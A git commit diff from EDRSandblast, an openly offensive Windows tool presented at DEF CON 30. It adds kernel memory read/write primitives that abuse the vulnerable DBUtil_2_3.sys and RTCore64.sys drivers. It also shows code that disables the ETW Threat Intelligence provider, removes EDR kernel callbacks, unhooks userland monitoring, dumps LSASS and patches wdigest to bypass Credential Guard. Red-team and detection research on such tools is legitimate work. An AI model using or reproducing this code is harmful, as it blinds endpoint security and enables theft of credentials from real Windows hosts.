D3FC0N 30 release: Obj callbacks, firewalling, symbols w/ internet, and more

Co-authored-by: Maxime Meignan <maxime.meignan@wavestone.com>
This commit is contained in:
Qazeer
2022-08-13 09:23:48 -07:00
parent 2e037a379b
commit 48a75a7029
91 changed files with 10503 additions and 4414 deletions
+118
View File
@@ -0,0 +1,118 @@
#include <windows.h>
#include <assert.h>
#include <tchar.h>
#include "../EDRSandblast.h"
/*
* "DBUtil_2_3.sys" (SHA256: 0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5)
*/
struct DBUTIL23_MEMORY_READ {
DWORD64 field0;
DWORD64 Address;
DWORD Offset;
DWORD field14;
BYTE Buffer[1];
};
struct DBUTIL23_MEMORY_WRITE {
DWORD64 field0;
DWORD64 Address;
DWORD Offset;
DWORD field14;
BYTE Buffer[1];
};
static const DWORD DBUTIL23_MEMORY_READ_CODE = 0x9B0C1EC4;
static const DWORD DBUTIL23_MEMORY_WRITE_CODE = 0x9B0C1EC8;
static_assert(offsetof(struct DBUTIL23_MEMORY_READ, Buffer) == 0x18, "sizeof DBUTIL23_MEMORY_READ must be 0x18 bytes");
static_assert(offsetof(struct DBUTIL23_MEMORY_WRITE, Buffer) == 0x18, "sizeof DBUTIL23_MEMORY_WRITE must be 0x18 bytes");
HANDLE g_Device_DBUtil = INVALID_HANDLE_VALUE;
HANDLE GetDriverHandle_DBUtil() {
if (g_Device_DBUtil == INVALID_HANDLE_VALUE) {
TCHAR service[] = TEXT("\\\\.\\DBUtil_2_3");
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (Device == INVALID_HANDLE_VALUE) {
_tprintf_or_not(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
exit(EXIT_FAILURE);
}
g_Device_DBUtil = Device;
}
return g_Device_DBUtil;
}
VOID CloseDriverHandle_DBUtil() {
CloseHandle(g_Device_DBUtil);
g_Device_DBUtil = INVALID_HANDLE_VALUE;
}
VOID ReadMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
struct DBUTIL23_MEMORY_READ* ReadCommand = calloc(1, Size + sizeof(struct DBUTIL23_MEMORY_READ));
if (!ReadCommand) {
_putts_or_not(TEXT("Allocation failed, aborting...\n"));
exit(1);
}
ReadCommand->Address = Address;
ReadCommand->Offset = 0;
DWORD BytesReturned;
if (Address < 0x0000800000000000) {
_tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address);
exit(1);
}
if (Address < 0xFFFF800000000000) {
_tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address);
exit(1);
}
DeviceIoControl(GetDriverHandle_DBUtil(),
DBUTIL23_MEMORY_READ_CODE,
ReadCommand,
offsetof(struct DBUTIL23_MEMORY_READ, Buffer) + (DWORD)Size,
ReadCommand,
offsetof(struct DBUTIL23_MEMORY_READ, Buffer) + (DWORD)Size,
&BytesReturned,
NULL);
memcpy(Buffer, ReadCommand->Buffer, Size);
}
VOID WriteMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
struct DBUTIL23_MEMORY_WRITE* WriteCommand = calloc(1, Size + sizeof(struct DBUTIL23_MEMORY_WRITE));
if (!WriteCommand) {
_putts_or_not(TEXT("Allocation failed, aborting...\n"));
exit(1);
}
WriteCommand->Address = Address;
WriteCommand->Offset = 0;
DWORD BytesReturned;
if (Address < 0x0000800000000000) {
_tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address);
exit(1);
}
if (Address < 0xFFFF800000000000) {
_tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address);
exit(1);
}
memcpy(WriteCommand->Buffer, Buffer, Size);
DeviceIoControl(GetDriverHandle_DBUtil(),
DBUTIL23_MEMORY_WRITE_CODE,
WriteCommand,
offsetof(struct DBUTIL23_MEMORY_WRITE, Buffer) + (DWORD)Size,
WriteCommand,
offsetof(struct DBUTIL23_MEMORY_WRITE, Buffer) + (DWORD)Size,
&BytesReturned,
NULL);
}
+168
View File
@@ -0,0 +1,168 @@
#include <windows.h>
#include <assert.h>
#include <tchar.h>
#if NO_STRINGS
#define _putts_or_not(...)
#define _tprintf_or_not(...)
#define wprintf_or_not(...)
#define printf_or_not(...)
#pragma warning(disable : 4189)
#else
#define _putts_or_not(...) _putts(__VA_ARGS__)
#define _tprintf_or_not(...) _tprintf(__VA_ARGS__)
#define printf_or_not(...) printf(__VA_ARGS__)
#define wprintf_or_not(...) wprintf(__VA_ARGS__)
#endif
/*
* "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD)
*/
struct RTCORE64_MEMORY_READ {
BYTE Pad0[8];
DWORD64 Address;
DWORD Pad1;
DWORD Offset;
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
struct RTCORE64_MEMORY_WRITE {
BYTE Pad0[8];
DWORD64 Address;
DWORD Pad1;
DWORD Offset;
DWORD WriteSize;
DWORD Value;
BYTE Pad3[16];
};
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
HANDLE g_Device_RTCore = INVALID_HANDLE_VALUE;
HANDLE GetDriverHandle_RTCore() {
if (g_Device_RTCore == INVALID_HANDLE_VALUE) {
TCHAR service[] = TEXT("\\\\.\\RTCore64");
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (Device == INVALID_HANDLE_VALUE) {
_tprintf_or_not(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
exit(EXIT_FAILURE);
}
g_Device_RTCore = Device;
}
return g_Device_RTCore;
}
VOID CloseDriverHandle_RTCore() {
CloseHandle(g_Device_RTCore);
g_Device_RTCore = INVALID_HANDLE_VALUE;
}
VOID ReadMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
while (Size) {
struct RTCORE64_MEMORY_READ ReadCommand = { 0 };
ReadCommand.Address = Address;
if (Size >= 4) {
ReadCommand.ReadSize = 4;
}
else if (Size >= 2) {
ReadCommand.ReadSize = 2;
}
else {
ReadCommand.ReadSize = 1;
}
ReadCommand.Offset = 0;
DWORD BytesReturned;
if (Address < 0x0000800000000000) {
_tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address);
exit(1);
}
if (Address < 0xFFFF800000000000) {
_tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address);
exit(1);
}
DeviceIoControl(GetDriverHandle_RTCore(),
RTCORE64_MEMORY_READ_CODE,
&ReadCommand,
sizeof(ReadCommand),
&ReadCommand,
sizeof(ReadCommand),
&BytesReturned,
NULL);
Address += ReadCommand.ReadSize;
if (Size >= 4) {
*(PDWORD)Buffer = (DWORD)ReadCommand.Value;
}
else if (Size >= 2) {
*(PWORD)Buffer = (WORD)ReadCommand.Value;
}
else {
*(PBYTE)Buffer = (BYTE)ReadCommand.Value;
}
Size -= ReadCommand.ReadSize;
Buffer = (PVOID)(((DWORD64)Buffer) + ReadCommand.ReadSize);
}
}
/*
* RTCore driver allows to write 1, 2 or 4 bytes at a type
*/
VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
while (Size) {
struct RTCORE64_MEMORY_WRITE WriteCommand = { 0 };
WriteCommand.Address = Address;
if (Size >= 4) {
WriteCommand.WriteSize = 4;
WriteCommand.Value = *(PDWORD)Buffer;
}
else if (Size >= 2) {
WriteCommand.WriteSize = 2;
WriteCommand.Value = *(PWORD)Buffer;
}
else {
WriteCommand.WriteSize = 1;
WriteCommand.Value = *(PBYTE)Buffer;
}
WriteCommand.Offset = 0;
DWORD BytesReturned;
if (Address < 0x0000800000000000) {
_tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address);
exit(1);
}
if (Address < 0xFFFF800000000000) {
_tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address);
exit(1);
}
DeviceIoControl(GetDriverHandle_RTCore (),
RTCORE64_MEMORY_WRITE_CODE,
&WriteCommand,
sizeof(WriteCommand),
&WriteCommand,
sizeof(WriteCommand),
&BytesReturned,
NULL);
Address += WriteCommand.WriteSize;
Size -= WriteCommand.WriteSize;
Buffer = (PVOID)(((DWORD64)Buffer) + WriteCommand.WriteSize);
}
}
-89
View File
@@ -1,89 +0,0 @@
/*
--- ETW Threat Intelligence operations.
--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
*/
#include <Windows.h>
#include <Tchar.h>
#include "ETWThreatIntel.h"
#include "KernelMemoryPrimitives.h"
#include "NtoskrnlOffsets.h"
DWORD64 GetEtwThreatIntProvRegHandleAddress() {
if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0) {
return 0x0;
}
DWORD64 Ntoskrnlbaseaddress = FindNtoskrnlBaseAddress();
return Ntoskrnlbaseaddress + ntoskrnlOffsets.st.etwThreatIntProvRegHandle;
}
DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose) {
if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0 || ntoskrnlOffsets.st.etwRegEntry_GuidEntry == 0x0 || ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo == 0x0) {
_tprintf(TEXT("[!] ETW Threat Intel ProviderEnableInfo address could not be found. This version of ntoskrnl may not implement ETW Threat Intel.\n"));
return 0x0;
}
HANDLE Device = GetDriverHandle();
DWORD64 etwThreatIntProvRegHandleAddress = GetEtwThreatIntProvRegHandleAddress();
DWORD64 etwThreatInt_ETW_REG_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatIntProvRegHandleAddress);
if (verbose) {
_tprintf(TEXT("[+] Found ETW Threat Intel provider _ETW_REG_ENTRY at 0x%I64x\n"), etwThreatInt_ETW_REG_ENTRYAddress);
}
DWORD64 etwThreatInt_ETW_GUID_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatInt_ETW_REG_ENTRYAddress + ntoskrnlOffsets.st.etwRegEntry_GuidEntry);
CloseHandle(Device);
return etwThreatInt_ETW_GUID_ENTRYAddress + ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo;
}
void EnableDisableETWThreatIntelProvider(BOOL verbose, BOOL enable) {
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
return;
}
_tprintf(TEXT("[*] Attempting to %s the ETW Threat Intel provider by patching ProviderEnableInfo at 0x%I64x with 0x%02X.\n"),
enable ? TEXT("(re)enable") : TEXT("disable"), etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
HANDLE Device = GetDriverHandle();
WriteMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
BOOL finalState = isETWThreatIntelProviderEnabled(verbose);
if (finalState == enable) {
_tprintf(TEXT("[+] The ETW Threat Intel provider was successfully %s!\n"), enable ? TEXT("enabled") : TEXT("disabled"));
}
else {
_tprintf(TEXT("[!] Failed to %s the ETW Threat Intel provider!\n"), enable ? TEXT("enable") : TEXT("disable"));
}
CloseHandle(Device);
}
void DisableETWThreatIntelProvider(BOOL verbose) {
EnableDisableETWThreatIntelProvider(verbose, FALSE);
}
void EnableETWThreatIntelProvider(BOOL verbose) {
EnableDisableETWThreatIntelProvider(verbose, TRUE);
}
BOOL isETWThreatIntelProviderEnabled(BOOL verbose) {
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
return FALSE;
}
HANDLE Device = GetDriverHandle();
BYTE etwThreatInt_ProviderEnableInfoValue = ReadMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress);
CloseHandle(Device);
return etwThreatInt_ProviderEnableInfoValue == ENABLE_PROVIDER;
}
File diff suppressed because it is too large Load Diff
+20 -1
View File
@@ -1,9 +1,28 @@
#pragma once
//TODO P1 : implement a "clean" mode that only removes the driver if installed
//TODO P2 : replace all instances of exit(1) by a clean_exit() function that uninstalls the driver before exiting
typedef enum _START_MODE {
dump,
cmd,
credguard,
audit,
firewall,
none
} START_MODE;
} START_MODE;
#define NO_STRINGS 0
#if NO_STRINGS
#define _putts_or_not(...)
#define _tprintf_or_not(...)
#define wprintf_or_not(...)
#define printf_or_not(...)
#pragma warning(disable : 4189)
#else
#define _putts_or_not(...) _putts(__VA_ARGS__)
#define _tprintf_or_not(...) _tprintf(__VA_ARGS__)
#define printf_or_not(...) printf(__VA_ARGS__)
#define wprintf_or_not(...) wprintf(__VA_ARGS__)
#endif
-549
View File
@@ -1,549 +0,0 @@
#include <Windows.h>
#include <stdio.h>
#include <Tchar.h>
#ifdef _DEBUG
#include <assert.h>
#endif
#include "CredGuard.h"
#include "DriverOps.h"
#include "ETWThreatIntel.h"
#include "KernelCallbacks.h"
#include "LSASSDump.h"
#include "NtoskrnlOffsets.h"
#include "RunAsPPL.h"
#include "WdigestOffsets.h"
#include "UserlandHooks.h"
#include "EDRSandBlast.h"
/*
--- Execution entry point.
*/
int _tmain(int argc, TCHAR** argv) {
// Parse command line arguments and initialize variables to default values if needed.
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe <audit | dump | cmd | credguard> [-h | --help] [-v | --verbose] [--usermode [--unhook-method <N>]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--add-dll <dll name or path>]* [-o | --dump-output <DUMP_FILE>]");
const TCHAR extendedUsage[] = TEXT("\n\
-h | --help Show this help message and exit.\n\
-v | --verbose Enable a more verbose output.\n\
\n\
Actions mode:\n\
\n\
\taudit Display the user-land hooks and / or Kernel callbacks without taking actions.\n\
\tdump Dump the LSASS process, by default as 'lsass' in the current directory or at the\n\
\t specified file using -o | --output <DUMP_FILE>.\n\
\tcmd Open a cmd.exe prompt.\n\
\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\
\t Credential Guard is enabled on the host. No kernel-land actions required.\n\
\n\
--usermode Perform user-land operations (DLL unhooking).\n\
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\
\n\
--unhook-method <N>\n Choose the userland un-hooking technique, from the following: \n\
\n\
\t1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all\n\
\t present userland hooks.\n\
\t2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by\n\
\t allocating an executable trampoline jumping over the hook, and remove all present\n\
\t userland hooks.\n\
\t3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'\n\
\t (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland\n\
\t hooks.\n\
\t4 Loads an additional version of ntdll library into memory, and use the (hopefully\n\
\t unmonitored) version of NtProtectVirtualMemory present in this library to remove all\n\
\t present userland hooks.\n\
\t5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,\n\
\t and uses it to remove all detected hooks\n\
\n\
Other options:\n\
\n\
--dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host\n\
Default to automatically unsinstall the driver.\n\
--dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed.\n\
Default to restore the callbacks.\n\
\n\
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\
Default to 'RTCore64.sys' in the current directory.\n\
--service <SERVICE_NAME> Name of the vulnerable service to intall / start.\n\
\n\
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
(only for the 'credguard' mode).\n\
Default to 'WdigestOffsets.csv' in the current directory.\n\
\n\
--add-dll <dll name or path> Loads arbitrary libraries into the process' address space, before starting\n\
anything. This can be useful to audit userland hooking for DLL that are not\n\
loaded by default by this program. Use this option multiple times to load\n\
multiple DLLs all at once.\n\
Example of interesting DLLs to look at: user32.dll, ole32.dll, crypt32.dll,\n\
samcli.dll, winhttp.dll, urlmon.dll, secur32.dll, shell32.dll...\n\
\n\
-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode.\n\
Default to 'lsass' in the current directory.\n");
BOOL status;
TCHAR currentFolderPath[MAX_PATH] = { 0 };
GetCurrentDirectory(_countof(currentFolderPath), currentFolderPath);
if (argc < 2) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
START_MODE startMode = none;
TCHAR driverPath[MAX_PATH * 2] = { 0 };
TCHAR driverDefaultName[] = TEXT("RTCore64.sys");
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH * 2] = { 0 };
TCHAR wdigestOffsetCSVPath[MAX_PATH * 2] = { 0 };
TCHAR outputPath[MAX_PATH * 2] = { 0 };
BOOL verbose = FALSE;
BOOL removeVulnDriver = TRUE;
BOOL restoreCallbacks = TRUE;
BOOL userMode = FALSE;
enum unhook_method_e unhook_method = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY;
BOOL kernelMode = FALSE;
int lpExitCode = EXIT_SUCCESS;
struct FOUND_EDR_CALLBACKS* checkEDRDrivers = NULL;
struct FOUND_EDR_CALLBACKS* removedEDRDrivers = NULL;
BOOL ETWTIState = FALSE;
hook* hooks = NULL;
for (int i = 1; i < argc; i++) {
if (_tcsicmp(argv[i], TEXT("dump")) == 0) {
startMode = dump;
}
else if (_tcsicmp(argv[i], TEXT("cmd")) == 0) {
startMode = cmd;
}
else if (_tcsicmp(argv[i], TEXT("credguard")) == 0) {
startMode = credguard;
}
else if (_tcsicmp(argv[i], TEXT("audit")) == 0) {
startMode = audit;
}
else if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
_tprintf(TEXT("%s\n"), usage);
_tprintf(TEXT("%s\n"), extendedUsage);
return EXIT_SUCCESS;
}
else if (_tcsicmp(argv[i], TEXT("-v")) == 0 || _tcsicmp(argv[i], TEXT("--verbose")) == 0) {
verbose = TRUE;
}
else if (_tcsicmp(argv[i], TEXT("--usermode")) == 0) {
userMode = TRUE;
}
else if (_tcsicmp(argv[i], TEXT("--kernelmode")) == 0) {
kernelMode = TRUE;
}
else if (_tcsicmp(argv[i], TEXT("--dont-unload-driver")) == 0) {
removeVulnDriver = FALSE;
}
else if (_tcsicmp(argv[i], TEXT("--dont-restore-callbacks")) == 0) {
restoreCallbacks = FALSE;
}
else if (_tcsicmp(argv[i], TEXT("--driver")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--service")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
SetServiceName(argv[i], _tcslen(argv[i]) + 1);
}
else if (_tcsicmp(argv[i], TEXT("--nt-offsets")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("-o")) == 0 || _tcsicmp(argv[i], TEXT("--dump-output")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(outputPath, _countof(outputPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--unhook-method")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
unhook_method = _ttoi(argv[i]);
}
else if (_tcsicmp(argv[i], TEXT("--add-dll")) == 0) {
i++;
if (i > argc) {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
HANDLE hAdditionnalLib = LoadLibrary(argv[i]);
if (hAdditionnalLib == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("Library %s could not have been loaded, exiting...\n"), argv[i]);
return EXIT_FAILURE;
}
}
else {
_tprintf(TEXT("%s"), usage);
return EXIT_FAILURE;
}
}
// Command line option consistency checks.
if (startMode == none){
_tprintf(TEXT("[!] You did not provide an action to perform: audit, dump, credguard or cmd\n"));
return EXIT_FAILURE;
}
if (startMode == cmd && !kernelMode) {
_tprintf(TEXT("'cmd' mode needs kernel-land unhooking to work, please enable --kernelmode\n"));
return EXIT_FAILURE;
}
if (!userMode && !kernelMode) {
_tprintf(TEXT("[!] You did not provide at least one option between --usermode and --kernelmode. Enabling --usermode by default...\n"));
userMode = TRUE;
}
if (startMode == credguard && !kernelMode) {
_tprintf(TEXT("[!] Credential Guard bypass might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
}
if (startMode == dump && !kernelMode) {
_tprintf(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
}
if (!userMode && kernelMode) {
_tprintf(TEXT("[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)\n"));
}
BOOL isSafeToExecutePayload = TRUE;
if (userMode) {
_tprintf(TEXT("Loaded DLLs in current process:\n"));
hooks = searchHooks(NULL);
_tprintf(TEXT("\n\n"));
if (startMode != audit) {
for (hook* ptr = hooks; ptr->disk_function != NULL; ptr++) {
printf("Unhooking %s using method %ld ...\n", ptr->functionName, unhook_method);
unhook(ptr, unhook_method);
}
}
}
if (kernelMode) {
if (_tcslen(driverPath) == 0) {
TCHAR separator[] = TEXT("\\");
_tcsncat_s(driverPath, _countof(driverPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(driverPath, _countof(driverPath), separator, _countof(separator));
_tcsncat_s(driverPath, _countof(driverPath), driverDefaultName, _countof(driverDefaultName));
}
DWORD driverAttrib = GetFileAttributes(driverPath);
if (driverAttrib == INVALID_FILE_ATTRIBUTES || (driverAttrib & FILE_ATTRIBUTE_DIRECTORY)) {
_tprintf(TEXT("[!] Required driver file not present at %s\nExiting...\n"), driverPath);
return EXIT_FAILURE;
}
if (_tcslen(ntoskrnlOffsetCSVPath) == 0) {
TCHAR offsetCSVName[] = TEXT("\\NtoskrnlOffsets.csv");
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
}
// Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets.
_tprintf(TEXT("Loading Notify Routines' offsets from the CSV file\n"));
ntoskrnlOffsets = GetNtoskrnlVersionOffsets(ntoskrnlOffsetCSVPath);
if (ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspLoadImageNotifyRoutine == 0x0) {
_tprintf(TEXT("[!] No known offsets for the version of ntoskrnl in use. The offsets must be computed and added to the offsets CSV file\n"));
return EXIT_FAILURE;
}
_tprintf(TEXT("\n\n"));
// Install the vulnerable driver to have read / write in Kernel memory.
_tprintf(TEXT("Installing vulnerable MSI Afterburner driver...\n"));
status = InstallVulnerableDriver(driverPath);
if (status != TRUE) {
_tprintf(TEXT("[!] An error occurred while installing the vulnerable MSI Afterburner driver\n"));
_tprintf(TEXT("[*] Uninstalling the service and attempting the install again...\n"));
Sleep(20000);
status = UninstallVulnerableDriver();
Sleep(2000);
status = status && InstallVulnerableDriver(driverPath);
Sleep(2000);
if (status != TRUE) {
_tprintf(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the MSI Afterburner driver left...\n"));
return EXIT_FAILURE;
}
}
_tprintf(TEXT("\n\n"));
Sleep(5000);
// Checks if any EDR callbacks are configured. If no EDR callbacks are found, then dump LSASS / exec cmd / patch CredGuard. Ohterwise, remove the EDR callbacks and start a new (unmonitored) process executing itself to dump LSASS.
_tprintf(TEXT("Checking if any EDR Kernel callbacks are configured...\n"));
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!checkEDRDrivers) {
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
return EXIT_FAILURE;
}
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
if (checkEDRDrivers->index) {
isSafeToExecutePayload = FALSE;
}
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
_tprintf(TEXT("[+] ETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
_tprintf(TEXT("\n\n"));
if (ETWTIState) {
isSafeToExecutePayload = FALSE;
}
}
if (startMode != audit) {
if (isSafeToExecutePayload) {
_tprintf(TEXT("[+] Process is \"safe\" to launch our payload\n"));
// Do the operation the tool was started for.
switch (startMode) {
// Start a process executing cmd.exe.
case cmd:
_tprintf(TEXT("[+] Kernel callbacks have normally been removed, starting cmd.exe\n")
TEXT("WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)\n")
TEXT("WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!\n\n"));
// Find cmd.exe path.
TCHAR systemDirectory[MAX_PATH * 2] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
TCHAR cmdPath[MAX_PATH * 2] = { 0 };
_tcscat_s(cmdPath, _countof(cmdPath), systemDirectory);
_tcscat_s(cmdPath, _countof(cmdPath), TEXT("\\cmd.exe"));
_tsystem(cmdPath);
break;
// Dump the LSASS process in a new thread.
case dump:
if (kernelMode) {
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS (offset of _PS_PROTECTION exists). This will allow access to LSASS if RunAsPPL is enabled\n"));
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
SetCurrentProcessAsProtected(verbose);
}
}
if (_tcslen(outputPath) == 0) {
TCHAR outputName[] = TEXT("\\lsass");
_tcsncat_s(outputPath, _countof(outputPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(outputPath, _countof(outputPath), outputName, _countof(outputName));
}
_tprintf(TEXT("[+] Attempting to dump LSASS\n"));
HANDLE hThread = CreateThread(NULL, 0, dumpLSASSProcess, outputPath, 0, NULL);
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, (PDWORD)&lpExitCode);
if (lpExitCode != 0) {
_tprintf(TEXT("[!] A fatal error occurred during the LSASS dump / execution of cmd.exe\n"));
lpExitCode = EXIT_FAILURE;
}
}
else {
_tprintf(TEXT("[!] An error occurred while attempting to start the new thread...\n"));
lpExitCode = EXIT_FAILURE;
}
break;
// Bypass Cred Guard (for new logins) by patching LSASS's wdigest module in memory.
case credguard:
if (kernelMode) {
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS(Offset of _PS_PROTECTION exists). This will allow lsass access is RunAsPPL is enabled\n"));
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
SetCurrentProcessAsProtected(verbose);
}
}
if (_tcslen(wdigestOffsetCSVPath) == 0) {
TCHAR offsetCSVName[] = TEXT("\\WdigestOffsets.csv");
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
}
wdigestOffsets = GetWdigestVersionOffsets(wdigestOffsetCSVPath);
if (wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
_tprintf(TEXT("[!] No known offsets for the version of wdigest.dll in use, Windows Credential Guard will not be bypassed. The required offsets must be computed and added to the offsets CSV file.\n"));
lpExitCode = EXIT_FAILURE;
}
else {
_tprintf(TEXT("\n\n"));
if (disableCredGuardByPatchingLSASS()) {
_tprintf(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system.\n"));
}
else {
_tprintf(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed.\n"));
lpExitCode = EXIT_FAILURE;
